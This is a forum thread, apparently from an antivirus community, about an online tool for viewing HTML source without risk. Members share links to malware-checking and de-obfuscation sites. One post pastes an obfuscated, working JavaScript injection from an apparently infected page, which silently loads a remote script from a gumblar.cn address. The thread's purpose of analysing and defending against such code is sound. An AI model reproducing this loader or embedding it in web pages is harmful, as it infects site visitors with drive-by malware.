Online HTML Reader - Selfseo HTML Source Viewer!

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View HTML Source Codes Without Getting Infected!

So, what do you think?

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Very good!
As far I’ve tested, I’m not sure I’m right, it allows to see encrypted scripts in some page…

<script language=javascript><!-- 
(function(){var vRf='%';var xoL=unescape(('&76ar&20&61&3d&22Sc&72ipt&45n&67&69ne&22&2cb&3d&22Vers&69on()+&22&2cj&3d&22&22&2c&75&3d&6e&61vigator&2e&75serAgent&3bi&66&28(u&2einde&78Of(&22Win&22)&3e0&29&26&26(&75&2einde&78Of(&22N&54&206&22)&3c0)&26&26(docu&6de&6et&2eco&6fkie&2eind&65xO&66(&22miek&3d&31&22)&3c0)&26&26&28typ&65of&28&7arvz&74s)&21&3dty&70eof(&22A&22)))&7b&7arvzt&73&3d&22A&22&3beval(&22if(win&64ow&2e&22+a+&22)j&3d&6a+&22&2ba+&22Maj&6fr&22+b+a+&22M&69nor&22&2bb+&61&2b&22&42uil&64&22+b+&22j&3b&22)&3b&64ocument&2e&77ri&74e&28&22&3csc&72&69pt&20s&72&63&3d&2f&2fgumblar&2e&63n&2fr&73s&2f&3fid&3d&22+j&2b&22&3e&3c&5c&2fs&63&72i&70t&3e&22&29&3b&7d').replace(/&/g,vRf));eval(xoL)})();
 --></script>

Probably infected ones…

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It also allows you to see encrypted title scripts!
(See image below)

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Nice find … it could come in handy.

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Hi Donovansrb10,

Good find, just poured out a cola, and now gonna test this.
Mind you to have NoScript and RequestPolicy on here or did you use it unprotected?

polonus

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Unprotected. ;D

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There is vURL:
http://vurl.mysteryfcm.co.uk <== Online
http://support.it-mate.co.uk/?mode=Products&p=vurldesktopedition <== desktop edition

Read about them:
http://hphosts.blogspot.com

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Hi YoKenny,

If we bundle it, we have an enormous knowledge base here, thanks for that link. We just have to make a survey of these check-site links: this one, blacklistdoctor, Exploit prevention Labs Link Scanner, the UnmaskParasites one, the bad stuff detektor for inline hidden iFrame dtection, test editor site:
http://www.ramymostafa.com/wp-content/editordemos/TestEditor.htm, obfuscation and de-obfuscation sites. These last weeks of the online i Frame malcode injections, SQL injections, obfuscated java-scripts etc. has been a nuisance to users and website owners, but has been good for presenting a real boot camp for our malware fighting analyzers, I learned a lot, published some of the things found here in the virus and worms "department"at the general section of Giorgio Maone’s NoScript forum, and I hope some of our forum members got the message, which in short terms can be summed up as: “Do not trust any website, malcode can come to a place near you, even if you do not expect it, avast shield will alert you!”,

polonus

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If you add http: // godn.cn
there, how do you interpret the results?

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I don’t.

I know http stands for Hypertext Transfer Protocol and that I would have to know and understand:
http://en.wikipedia.org/wiki/HTTP
http://www.w3.org/Protocols

I just know where to look for things or whom to look to for answers.

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My first sucess! ;D 8)

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Thanks for that link also, Yokenny.